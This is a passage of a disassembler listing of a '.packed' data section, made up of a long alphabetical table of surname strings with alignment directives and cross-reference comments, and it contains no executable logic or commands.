DATA XREF: .packed:0042EC5Co align 4 aStates db 'States',0 align 4 aStassinopolus db 'Stassinopolus',0 align 4 aStang db 'Stang',0 align 4 aStam db 'Stam',0 align 4 aStalvey db 'Stalvey',0 aStmartin db 'StMartin',0 align 4 aSpinrad db 'Spinrad',0 aSpiliotis db 'Spiliotis',0 align 4 aSpiegelhalter db 'Spiegelhalter',0 align 4 aSpicer db 'Spicer',0 align 4 aSperber db 'Sperber',0 aSpence db 'Spence',0 align 4 aSpeizer db 'Speizer',0 aSpaulding db 'Spaulding',0 align 4 aSparrow db 'Sparrow',0 aSpanier db 'Spanier',0 aSoultanian db 'Soultanian',0 align 4 aSoule db 'Soule',0 align 4 aSoukup db 'Soukup',0 align 4 aSottak db 'Sottak',0 align 4 aSorg db 'Sorg',0 align 4 aSorabella db 'Sorabella',0 align 10h aSommariva db 'Sommariva',0 align 4 aSomers db 'Somers',0 align 4 aSolon db 'Solon',0 align 4 aSocolow db 'Socolow',0 aSnodgrass db 'Snodgrass',0 align 10h aSniffen db 'Sniffen',0 aSmilow db 'Smilow',0 align 10h aSlowe db 'Slowe',0 align 4 aSloan db 'Sloan',0 align 10h aSkoda db 'Skoda',0 align 4 aSkerry db 'Skerry',0 align 10h aSkane db 'Skane',0 align 4 aSites db 'Sites',0 align 10h aSirilli db 'Sirilli',0 aSinsabaugh db 'Sinsabaugh',0 align 4 aSilvetti db 'Silvetti',0 align 10h aSilverman db 'Silverman',0 align 4 aSigna db 'Signa',0 align 4 aSigini db 'Sigini',0 align 4 aSigalot db 'Sigalot',0 aSiesto db 'Siesto',0 align 4 aShimon db 'Shimon',0 align 4 aShibata db 'Shibata',0 aShia db 'Shia',0 align 4 aShesko db 'Shesko',0 align 4 aShepstone db 'Shepstone',0 align 4 aSheppard db 'Sheppard',0 align 4 aShepherd db 'Shepherd',0 align 10h aSheats db 'Sheats',0 align 4 aShea db 'Shea',0 align 10h aShavelson db 'Shavelson',0 align 4 aShatrov db 'Shatrov',0 aShar db 'Shar',0 align 4 aShanley db 'Shanley',0 aShankland db 'Shankland',0 ; DATA XREF: .packed:0042EB75o align 10h aShakis db 'Shakis',0 align 4 aShaikh db 'Shaikh',0 align 10h aSeyfert db 'Seyfert',0 ; DATA XREF: .packed:0042EB69o aSexton db 'Sexton',0 align 10h aSeterdahl db 'Seterdahl',0 align 4 aSennett db 'Sennett',0 aSen db 'Sen',0 aSelvage db 'Selvage',0 aSekler db 'Sekler',0 align 4 aSegal db 'Segal',0 align 10h aSeeber db 'Seeber',0 align 4 aSeaton db 'Seaton',0 align 10h aScudder db 'Scudder',0 ; DATA XREF: .packed:loc_42EB41o aScovel db 'Scovel',0 align 10h aSchwickrath db 'Schwickrath',0 aSchwan db 'Schwan',0 align 4 aSchuyler db 'Schuyler',0 align 10h aSchutte db 'Schutte',0 aSchuman db 'Schuman',0 ; DATA XREF: .packed:0042EB2Co aSchossberger db 'Schossberger',0 ; DATA XREF: .packed:0042EB28o align 10h aSchmitt db 'Schmitt',0 ; DATA XREF: .packed:0042EB24o aSchilling db 'Schilling',0 ; DATA XREF: .packed:0042EB20o align 4 aSchifini db 'Schifini',0 ; DATA XREF: .packed:0042EB1Co align 10h aSchiano db 'Schiano',0 ; DATA XREF: .packed:0042EB18o aScheiner db 'Scheiner',0 ; DATA XREF: .packed:0042EB14o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: .packed:0042EB10o aScharf db 'Scharf',0 ; DATA XREF: .packed:0042EB0Co align 4 aScepan db 'Scepan',0 ; DATA XREF: .packed:0042EB08o align 10h aScarponi db 'Scarponi',0 ; DATA XREF: .packed:0042EB04o align 4 aSayied db 'Sayied',0 ; DATA XREF: .packed:0042EB00o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: .packed:0042EAFCo aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .packed:0042EAF8o align 4 aSatta db 'Satta',0 ; DATA XREF: .packed:0042EAF4o align 4 aSatin db 'Satin',0 ; DATA XREF: .packed:0042EAF0o align 4 aSase db 'Sase',0 ; DATA XREF: .packed:0042EAECo align 4 aSartore db 'Sartore',0 ; DATA XREF: .packed:0042EAE8o aSarin db 'Sarin',0 ; DATA XREF: .packed:0042EAE4o align 4 aSapers db 'Sapers',0 ; DATA XREF: .packed:0042EAE0o align 4 aSanna db 'Sanna',0 ; DATA XREF: .packed:0042EADCo align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .packed:0042EAD8o aSamson db 'Samson',0 ; DATA XREF: .packed:0042EAD4o align 4 aSali db 'Sali',0 ; DATA XREF: .packed:0042EAD0o align 4 aSahu db 'Sahu',0 ; DATA XREF: .packed:0042EACCo align 4 aSafire db 'Safire',0 ; DATA XREF: .packed:0042EAC8o align 4 aSadler db 'Sadler',0 ; DATA XREF: .packed:0042EAC4o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: .packed:0042EAC0o align 4 aRyu db 'Ryu',0 ; DATA XREF: .packed:0042EABCo aRush db 'Rush',0 ; DATA XREF: .packed:0042EAB8o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: .packed:0042EAB4o align 10h aRuderman db 'Ruderman',0 ; DATA XREF: .packed:0042EAB0o align 4 aRuan db 'Ruan',0 ; DATA XREF: .packed:0042EAACo align 4 aRu db 'Ru',0 ; DATA XREF: .packed:0042EAA8o align 4 aRoyal db 'Royal',0 ; DATA XREF: .packed:0042EAA4o align 10h aRow db 'Row',0 ; DATA XREF: .packed:0042EAA0o aRonen db 'Ronen',0 ; DATA XREF: .packed:0042EA9Co align 4 aRogers db 'Rogers',0 ; DATA XREF: .packed:0042EA98o align 4 aRoesler db 'Roesler',0 ; DATA XREF: .packed:0042EA94o aRocha db 'Rocha',0 ; DATA XREF: .packed:0042EA90o align 4 aRobinson db 'Robinson',0 ; DATA XREF: .packed:0042EA8Co align 10h aRivera db 'Rivera',0 ; DATA XREF: .packed:0042EA88o align 4 aRish db 'Rish',0 ; DATA XREF: .packed:0042EA84o align 10h aRineer db 'Rineer',0 ; DATA XREF: .packed:0042EA80o align 4 aRindos db 'Rindos',0 ; DATA XREF: .packed:0042EA7Co align 10h aRielly db 'Rielly',0 ; DATA XREF: .packed:0042EA78o align 4 aRichmond db 'Richmond',0 ; DATA XREF: .packed:0042EA74o align 4 aRhea db 'Rhea',0 ; DATA XREF: .packed:0042EA70o align 4 aResnik db 'Resnik',0 ; DATA XREF: .packed:0042EA6Co align 4 aRepetto db 'Repetto',0 ; DATA XREF: .packed:0042EA68o aRenick db 'Renick',0 ; DATA XREF: .packed:0042EA64o align 4 aRemak db 'Remak',0 ; DATA XREF: .packed:0042EA60o align 4 aReinold db 'Reinold',0 ; DATA XREF: .packed:0042EA5Co aCunningham db 'Cunningham',0 ; DATA XREF: .packed:0042EA58o align 10h aReedquist db 'Reedquist',0 ; DATA XREF: .packed:0042EA54o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .packed:0042EA50o align 4 aRayport db 'Rayport',0 ; DATA XREF: .packed:0042EA4Co aRapple db 'Rapple',0 ; DATA XREF: .packed:0042EA48o align 4 aRankin db 'Rankin',0 ; DATA XREF: .packed:0042EA44o align 4 aRangan db 'Rangan',0 ; DATA XREF: .packed:0042EA40o align 4 aRaney db 'Raney',0 ; DATA XREF: .packed:0042EA3Co align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .packed:0042EA38o aRadeke db 'Radeke',0 ; DATA XREF: .packed:0042EA34o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: .packed:0042EA30o align 10h aRabe db 'Rabe',0 ; DATA XREF: .packed:0042EA2Co align 4 aQuetin db 'Quetin',0 ; DATA XREF: .packed:0042EA28o align 10h aQuaday db 'Quaday',0 ; DATA XREF: .packed:0042EA24o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: .packed:0042EA20o aPugh db 'Pugh',0 ; DATA XREF: .packed:0042EA1Co align 4 aPuccia db 'Puccia',0 ; DATA XREF: .packed:0042EA18o align 10h aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .packed:0042EA14o align 10h aProietti db 'Proietti',0 ; DATA XREF: .packed:0042EA10o align 4 aPritz db 'Pritz',0 ; DATA XREF: .packed:0042EA0Co align 4 aPritchard db 'Pritchard',0 ; DATA XREF: .packed:0042EA08o align 10h aPrevost db 'Prevost',0 ; DATA XREF: .packed:0042EA04o aPreucel db 'Preucel',0 ; DATA XREF: .packed:0042EA00o aPresper db 'Presper',0 ; DATA XREF: .packed:0042E9FCo aPowers db 'Powers',0 ; DATA XREF: .packed:0042E9F8o align 10h aPoolman db 'Poolman',0 ; DATA XREF: .packed:0042E9F4o aPoma db 'Poma',0 ; DATA XREF: .packed:0042E9F0o align 10h aPolitis db 'Politis',0 ; DATA XREF: .packed:0042E9ECo aPolanyi db 'Polanyi',0 ; DATA XREF: .packed:0042E9E8o aPolak db 'Polak',0 ; DATA XREF: .packed:0042E9E4o align 4 aPoirier db 'Poirier',0 ; DATA XREF: .packed:0042E9E0o aPointer db 'Pointer',0 ; DATA XREF: .packed:0042E9DCo aPoincaire db 'Poincaire',0 ; DATA XREF: .packed:0042E9D8o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: .packed:0042E9D4o align 10h aPo db 'Po',0 ; DATA XREF: .packed:0042E9D0o align 4 aPlous db 'Plous',0 ; DATA XREF: .packed:0042E9CCo align 4 aPlasket db 'Plasket',0 ; DATA XREF: .packed:0042E9C8o aPlant db 'Plant',0 ; DATA XREF: .packed:0042E9C4o align 4 aPlancon db 'Plancon',0 ; DATA XREF: .packed:0042E9C0o aPinot db 'Pinot',0 ; DATA XREF: .packed:0042E9BCo align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: .packed:0042E9B8o aPfister db 'Pfister',0 ; DATA XREF: .packed:0042E9B4o aPettit db 'Pettit',0 ; DATA XREF: .packed:0042E9B0o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: .packed:0042E9ACo align 10h aPetruzello db 'Petruzello',0 ; DATA XREF: .packed:0042E9A8o align 4 aPeters db 'Peters',0 ; DATA XREF: .packed:0042E9A4o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: .packed:0042E9A0o align 10h aPerone db 'Perone',0 ; DATA XREF: .packed:0042E99Co align 4 aPerna db 'Perna',0 ; DATA XREF: .packed:0042E998o align 10h aPerlman db 'Perlman',0 ; DATA XREF: .packed:0042E994o aPerlak db 'Perlak',0 ; DATA XREF: .packed:0042E990o align 10h aPerko db 'Perko',0 ; DATA XREF: .packed:0042E98Co align 4 aPereira db 'Pereira',0 ; DATA XREF: .packed:0042E988o aPenny db 'Penny',0 ; DATA XREF: .packed:0042E984o align 4 aPeishel db 'Peishel',0 ; DATA XREF: .packed:0042E980o aPederson db 'Pederson',0 ; DATA XREF: .packed:0042E97Co align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: .packed:0042E978o align 4 aPeabody db 'Peabody',0 ; DATA XREF: .packed:0042E974o aPaynter db 'Paynter',0 ; DATA XREF: .packed:0042E970o aPawloski db 'Pawloski',0 ; DATA XREF: .packed:0042E96Co align 4 aPavlon db 'Pavlon',0 ; DATA XREF: .packed:0042E968o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: .packed:0042E964o aPattullo db 'Pattullo',0 ; DATA XREF: .packed:0042E960o align 10h aPatrick db 'Patrick',0 ; DATA XREF: .packed:0042E95Co aPatefield db 'Patefield',0 ; DATA XREF: .packed:0042E958o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: .packed:0042E954o align 10h aPartridge db 'Partridge',0 ; DATA XREF: .packed:0042E950o align 4 aParris db 'Parris',0 ; DATA XREF: .packed:0042E94Co align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .packed:0042E948o aPaoletti db 'Paoletti',0 ; DATA XREF: .packed:0042E944o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: .packed:0042E940o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: .packed:0042E93Co align 4 aPanadero db 'Panadero',0 ; DATA XREF: .packed:0042E938o align 10h aPalmitesta db 'Palmitesta',0 ; DATA XREF: .packed:0042E934o align 4 aPallara db 'Pallara',0 ; DATA XREF: .packed:0042E930o aPalepu db 'Palepu',0 ; DATA XREF: .packed:0042E92Co align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: .packed:0042E928o align 4 aPaine db 'Paine',0 ; DATA XREF: .packed:0042E924o align 10h aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .packed:0042E920o align 10h aOvid db 'Ovid',0 ; DATA XREF: .packed:0042E91Co align 4 aOuchida db 'Ouchida',0 ; DATA XREF: .packed:0042E918o aOtten db 'Otten',0 ; DATA XREF: .packed:0042E914o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: .packed:0042E910o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: .packed:0042E90Co align 10h aOspina db 'Ospina',0 ; DATA XREF: .packed:0042E908o align 4 aOrsi db 'Orsi',0 ; DATA XREF: .packed:0042E904o align 10h aOrfield db 'Orfield',0 ; DATA XREF: .packed:0042E900o aOray db 'Oray',0 ; DATA XREF: .packed:0042E8FCo align 10h aOpel db 'Opel',0 ; DATA XREF: .packed:0042E8F8o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: .packed:0042E8F4o aOman db 'Oman',0 ; DATA XREF: .packed:0042E8F0o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: .packed:0042E8ECo align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: .packed:0042E8E8o align 10h aOlson db 'Olson',0 ; DATA XREF: .packed:0042E8E4o align 4 aOlsen db 'Olsen',0 ; DATA XREF: .packed:0042E8E0o align 10h aOldford db 'Oldford',0 ; DATA XREF: .packed:0042E8DCo aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .packed:0042E8D8o aOh db 'Oh',0 ; DATA XREF: .packed:0042E8D4o align 4 aOgata db 'Ogata',0 ; DATA XREF: .packed:0042E8D0o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: .packed:0042E8CCo aNuzum db 'Nuzum',0 ; DATA XREF: .packed:0042E8C8o align 4 aNotman db 'Notman',0 ; DATA XREF: .packed:0042E8C4o align 4 aNitabach db 'Nitabach',0 ; DATA XREF: .packed:0042E8C0o align 10h aNisenson db 'Nisenson',0 ; DATA XREF: .packed:0042E8BCo align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: .packed:0042E8B8o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: .packed:0042E8B4o align 4 aNi_0 db 'Ni',0 ; DATA XREF: .packed:0042E8B0o align 4 aNg db 'Ng',0 ; DATA XREF: .packed:0042E8ACo align 4 aNewlin db 'Newlin',0 ; DATA XREF: .packed:0042E8A8o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: .packed:0042E8A4o aNeuman db 'Neuman',0 ; DATA XREF: .packed:0042E8A0o align 4 aNesci db 'Nesci',0 ; DATA XREF: .packed:0042E89Co align 4 aNenna db 'Nenna',0 ; DATA XREF: .packed:0042E898o align 4 aNelson db 'Nelson',0 ; DATA XREF: .packed:0042E894o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: .packed:0042E890o aNaviaux db 'Naviaux',0 ; DATA XREF: .packed:0042E88Co aNardone db 'Nardone',0 ; DATA XREF: .packed:0042E888o aNardi db 'Nardi',0 ; DATA XREF: .packed:0042E884o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: .packed:0042E880o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: .packed:0042E87Co align 10h aMussachio db 'Mussachio',0 ; DATA XREF: .packed:0042E878o align 4 aMumford db 'Mumford',0 ; DATA XREF: .packed:0042E874o aMulroy db 'Mulroy',0 ; DATA XREF: .packed:0042E870o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: .packed:0042E86Co aMugnai db 'Mugnai',0 ; DATA XREF: .packed:0042E868o align 4 aMuello db 'Muello',0 ; DATA XREF: .packed:0042E864o align 4 aMudarri db 'Mudarri',0 ; DATA XREF: .packed:0042E860o aMotooka db 'Motooka',0 ; DATA XREF: .packed:0042E85Co aMostafavi db 'Mostafavi',0 ; DATA XREF: .packed:0042E858o align 10h aMosler db 'Mosler',0 ; DATA XREF: .packed:0042E854o align 4 aMosher db 'Mosher',0 ; DATA XREF: .packed:0042E850o align 10h aMortimer db 'Mortimer',0 ; DATA XREF: .packed:0042E84Co align 4 aMorrow db 'Morrow',0 ; DATA XREF: .packed:0042E848o align 4 aMorrison db 'Morrison',0 ; DATA XREF: .packed:0042E844o align 10h aMoreton db 'Moreton',0 ; DATA XREF: .packed:0042E840o aMorani db 'Morani',0 ; DATA XREF: .packed:0042E83Co align 10h aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .packed:0042E838o align 4 aMontilio db 'Montilio',0 ; DATA XREF: .packed:0042E834o align 4 aMonque db 'Monque',0 ; DATA XREF: .packed:0042E830o align 10h aMoiamedi db 'Moiamedi',0 ; DATA XREF: .packed:0042E82Co align 4 aMohr db 'Mohr',0 ; DATA XREF: .packed:0042E828o align 4 aMoeller db 'Moeller',0 ; DATA XREF: .packed:0042E824o aModestino db 'Modestino',0 ; DATA XREF: .packed:0042E820o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: .packed:0042E81Co aMittal db 'Mittal',0 ; DATA XREF: .packed:0042E818o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .packed:0042E814o aGonzalez db 'Gonzalez',0 ; DATA XREF: .packed:0042E810o align 10h aMinichiello db 'Minichiello',0 ; DATA XREF: .packed:0042E80Co aMini db 'Mini',0 ; DATA XREF: .packed:0042E808o align 4 aMinh db 'Minh',0 ; DATA XREF: .packed:0042E804o align 4 aMills db 'Mills',0 ; DATA XREF: .packed:0042E800o align 4 aMieher db 'Mieher',0 ; DATA XREF: .packed:0042E7FCo align 4 aMiddle db 'Middle',0 ; DATA XREF: .packed:0042E7F8o align 4 aMichelman db 'Michelman',0 ; DATA XREF: .packed:0042E7F4o align 10h aMeurer db 'Meurer',0 ; DATA XREF: .packed:0042E7F0o align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: .packed:0042E7ECo align 4 aMetelka db 'Metelka',0 ; DATA XREF: .packed:0042E7E8o aMerz db 'Merz',0 ; DATA XREF: .packed:0042E7E4o align 4 aMerseth db 'Merseth',0 ; DATA XREF: .packed:0042E7E0o aMerminod db 'Merminod',0 ; DATA XREF: .packed:0042E7DCo align 4 aMerlani db 'Merlani',0 ; DATA XREF: .packed:0042E7D8o aMerikoski db 'Merikoski',0 ; DATA XREF: .packed:0042E7D4o align 4 aMenzies db 'Menzies',0 ; DATA XREF: .packed:0042E7D0o aMemisoglu db 'Memisoglu',0 ; DATA XREF: .packed:0042E7CCo align 10h aMeccariello db 'Meccariello',0 ; DATA XREF: .packed:0042E7C8o aMcnulty db 'Mcnulty',0 ; DATA XREF: .packed:0042E7C4o aMcnealy db 'Mcnealy',0 ; DATA XREF: .packed:0042E7C0o aMclaren db 'Mclaren',0 ; DATA XREF: .packed:0042E7BCo aMclane db 'Mclane',0 ; DATA XREF: .packed:0042E7B8o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: .packed:0042E7B4o aMcintosh db 'Mcintosh',0 ; DATA XREF: .packed:0042E7B0o align 10h aMcilroy db 'McIlroy',0 ; DATA XREF: .packed:0042E7ACo aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .packed:0042E7A8o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: .packed:0042E7A4o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: .packed:0042E7A0o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: .packed:0042E79Co aMcdowell db 'Mcdowell',0 ; DATA XREF: .packed:0042E798o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: .packed:0042E794o align 4 aMccall db 'Mccall',0 ; DATA XREF: .packed:0042E790o align 10h aMccaffery db 'Mccaffery',0 ; DATA XREF: .packed:0042E78Co align 4 aMcbride db 'Mcbride',0 ; DATA XREF: .packed:0042E788o aMazziotta db 'Mazziotta',0 ; DATA XREF: .packed:0042E784o align 10h aMazzali db 'Mazzali',0 ; DATA XREF: .packed:0042E780o aMay db 'May',0 ; DATA XREF: .packed:0042E77Co aMauzy db 'Mauzy',0 ; DATA XREF: .packed:0042E778o align 4 aMattson db 'Mattson',0 ; DATA XREF: .packed:0042E774o aMatsukata db 'Matsukata',0 ; DATA XREF: .packed:0042E770o align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: .packed:0042E76Co align 4 aMatalka db 'Matalka',0 ; DATA XREF: .packed:0042E768o aMass db 'Mass',0 ; DATA XREF: .packed:0042E764o align 4 aMarubini db 'Marubini',0 ; DATA XREF: .packed:0042E760o align 10h aMarton db 'Marton',0 ; DATA XREF: .packed:0042E75Co align 4 aMartochio db 'Martochio',0 ; DATA XREF: .packed:0042E758o align 4 aMartinez db 'Martinez',0 ; DATA XREF: .packed:0042E754o align 10h aMarques db 'Marques',0 ; DATA XREF: .packed:0042E750o aMargetts db 'Margetts',0 ; DATA XREF: .packed:0042E74Co align 4 aMargalit db 'Margalit',0 ; DATA XREF: .packed:0042E748o align 10h aMarcus db 'Marcus',0 ; DATA XREF: .packed:0042E744o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: .packed:0042E740o align 4 aMarch db 'March',0 ; DATA XREF: .packed:0042E73Co align 4 aMantovan db 'Mantovan',0 ; DATA XREF: .packed:0042E738o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: .packed:0042E734o aMandel db 'Mandel',0 ; DATA XREF: .packed:0042E730o align 4 aManalis db 'Manalis',0 ; DATA XREF: .packed:0042E72Co aMalova db 'Malova',0 ; DATA XREF: .packed:0042E728o align 4 aMaller db 'Maller',0 ; DATA XREF: .packed:0042E724o align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: .packed:0042E720o align 10h aMaisano db 'Maisano',0 ; DATA XREF: .packed:0042E71Co aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .packed:0042E718o align 4 aMaier db 'Maier',0 ; DATA XREF: .packed:0042E714o align 10h aMahony db 'Mahony',0 ; DATA XREF: .packed:0042E710o align 4 aMaggio db 'Maggio',0 ; DATA XREF: .packed:0042E70Co align 10h aMadigan db 'Madigan',0 ; DATA XREF: .packed:0042E708o aMacy db 'Macy',0 ; DATA XREF: .packed:0042E704o align 10h aMacmillan db 'MacMillan',0 ; DATA XREF: .packed:0042E700o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: .packed:0042E6FCo align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: .packed:0042E6F8o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: .packed:0042E6F4o align 10h aMacdonald db 'Macdonald',0 ; DATA XREF: .packed:0042E6F0o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: .packed:0042E6ECo align 4 aMa db 'Ma',0 ; DATA XREF: .packed:0042E6E8o align 4 aLuzader db 'Luzader',0 ; DATA XREF: .packed:0042E6E4o aLutcavage db 'Lutcavage',0 ; DATA XREF: .packed:0042E6E0o align 10h aLussier db 'Lussier',0 ; DATA XREF: .packed:0042E6DCo aLuoma db 'Luoma',0 ; DATA XREF: .packed:0042E6D8o align 10h aLunetta db 'Lunetta',0 ; DATA XREF: .packed:0042E6D4o aLuecke db 'Luecke',0 ; DATA XREF: .packed:0042E6D0o align 10h aLuczkow db 'Luczkow',0 ; DATA XREF: .packed:0042E6CCo aLuciano db 'Luciano',0 ; DATA XREF: .packed:0042E6C8o aLucas db 'Lucas',0 ; DATA XREF: .packed:0042E6C4o align 4 aLubin db 'Lubin',0 ; DATA XREF: .packed:0042E6C0o align 10h aLoza db 'Loza',0 ; DATA XREF: .packed:0042E6BCo align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: .packed:0042E6B8o align 4 aLoveman db 'Loveman',0 ; DATA XREF: .packed:0042E6B4o aLoss db 'Loss',0 ; DATA XREF: .packed:0042E6B0o align 4 aLongworth db 'Longworth',0 ; DATA XREF: .packed:0042E6ACo align 10h aLocatelli db 'Locatelli',0 ; DATA XREF: .packed:0042E6A8o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: .packed:0042E6A4o aLivolsi db 'Livolsi',0 ; DATA XREF: .packed:0042E6A0o aLivi db 'Livi',0 ; DATA XREF: .packed:0042E69Co align 4 aLivernash db 'Livernash',0 ; DATA XREF: .packed:0042E698o align 10h aLitvak db 'Litvak',0 ; DATA XREF: .packed:0042E694o align 4 aLittle db 'Little',0 ; DATA XREF: .packed:0042E690o align 10h aLipponen db 'Lipponen',0 ; DATA XREF: .packed:0042E68Co align 4 aLippmann db 'Lippmann',0 ; DATA XREF: .packed:0042E688o align 4 aLinzee db 'Linzee',0 ; DATA XREF: .packed:0042E684o align 10h aLinehan db 'Linehan',0 ; DATA XREF: .packed:0042E680o aLine db 'Line',0 ; DATA XREF: .packed:0042E67Co align 10h aLinder db 'Linder',0 ; DATA XREF: .packed:0042E678o align 4 aLinda db 'Linda',0 ; DATA XREF: .packed:0042E674o align 10h aLinares db 'Linares',0 ; DATA XREF: .packed:0042E670o aLim db 'Lim',0 ; DATA XREF: .packed:0042E66Co aLightfoot db 'Lightfoot',0 ; DATA XREF: .packed:0042E668o align 4 aLight db 'Light',0 ; DATA XREF: .packed:0042E664o align 10h aLiem db 'Liem',0 ; DATA XREF: .packed:0042E660o align 4 aLidano db 'Lidano',0 ; DATA XREF: .packed:0042E65Co align 10h aLiakos db 'Liakos',0 ; DATA XREF: .packed:0042E658o align 4 aLessi db 'Lessi',0 ; DATA XREF: .packed:0042E654o align 10h aLesser db 'Lesser',0 ; DATA XREF: .packed:0042E650o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .packed:0042E64Co align 4 aLenard db 'Lenard',0 ; DATA XREF: .packed:0042E648o align 4 aLeite db 'Leite',0 ; DATA XREF: .packed:0042E644o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: .packed:0042E640o align 10h aLecce db 'Lecce',0 ; DATA XREF: .packed:0042E63Co align 4 aLecar db 'Lecar',0 ; DATA XREF: .packed:0042E638o align 10h aLawless db 'Lawless',0 ; DATA XREF: .packed:0042E634o aLashley db 'Lashley',0 ; DATA XREF: .packed:0042E630o aLaserna db 'Laserna',0 ; DATA XREF: .packed:0042E62Co aLanzit db 'Lanzit',0 ; DATA XREF: .packed:0042E628o align 10h aLantieri db 'Lantieri',0 ; DATA XREF: .packed:0042E624o align 4 aLankes db 'Lankes',0 ; DATA XREF: .packed:0042E620o align 4 aLandes db 'Landes',0 ; DATA XREF: .packed:0042E61Co align 4 aLallemant db 'Lallemant',0 ; DATA XREF: .packed:0042E618o align 4 aLaing db 'Laing',0 ; DATA XREF: .packed:0042E614o align 10h aLafler db 'Lafler',0 ; DATA XREF: .packed:0042E610o align 4 aLabunka db 'Labunka',0 ; DATA XREF: .packed:0042E60Co aLa db 'La',0 ; DATA XREF: .packed:0042E608o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: .packed:0042E604o align 10h aKusman db 'Kusman',0 ; DATA XREF: .packed:0042E600o align 4 aKumar db 'Kumar',0 ; DATA XREF: .packed:0042E5FCo align 10h aKuenzli db 'Kuenzli',0 ; DATA XREF: .packed:0042E5F8o aKrysiak db 'Krysiak',0 ; DATA XREF: .packed:0042E5F4o aKroemer db 'Kroemer',0 ; DATA XREF: .packed:0042E5F0o aKraus db 'Kraus',0 ; DATA XREF: .packed:0042E5ECo align 10h aKrasney db 'Krasney',0 ; DATA XREF: .packed:0042E5E8o aKrailo db 'Krailo',0 ; DATA XREF: .packed:0042E5E4o align 10h aKraemer db 'Kraemer',0 ; DATA XREF: .packed:0042E5E0o aKovaks db 'Kovaks',0 ; DATA XREF: .packed:0042E5DCo align 10h aKotter db 'Kotter',0 ; DATA XREF: .packed:0042E5D8o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: .packed:0042E5D4o align 4 aKool db 'Kool',0 ; DATA XREF: .packed:0042E5D0o align 4 aKonrad db 'Konrad',0 ; DATA XREF: .packed:0042E5CCo align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: .packed:0042E5C8o align 10h aKommer db 'Kommer',0 ; DATA XREF: .packed:0042E5C4o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: .packed:0042E5C0o align 4 aKohn db 'Kohn',0 ; DATA XREF: .packed:0042E5BCo align 4 aKoch db 'Koch',0 ; DATA XREF: .packed:0042E5B8o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: .packed:0042E5B4o aKnuff db 'Knuff',0 ; DATA XREF: .packed:0042E5B0o align 4 aKlint db 'Klint',0 ; DATA XREF: .packed:0042E5ACo align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .packed:0042E5A8o aKling db 'Kling',0 ; DATA XREF: .packed:0042E5A4o align 10h aKlemperer db 'Klemperer',0 ; DATA XREF: .packed:0042E5A0o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .packed:0042E59Co aKleiman db 'Kleiman',0 ; DATA XREF: .packed:0042E598o aKleckner db 'Kleckner',0 ; DATA XREF: .packed:0042E594o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: .packed:0042E590o align 4 aKirscht db 'Kirscht',0 ; DATA XREF: .packed:0042E58Co aKippenberger db 'Kippenberger',0 ; DATA XREF: .packed:0042E588o align 10h aKinsley db 'Kinsley',0 ; DATA XREF: .packed:0042E584o aKindall db 'Kindall',0 ; DATA XREF: .packed:0042E580o aKimura db 'Kimura',0 ; DATA XREF: .packed:0042E57Co align 4 aKimmett db 'Kimmett',0 ; DATA 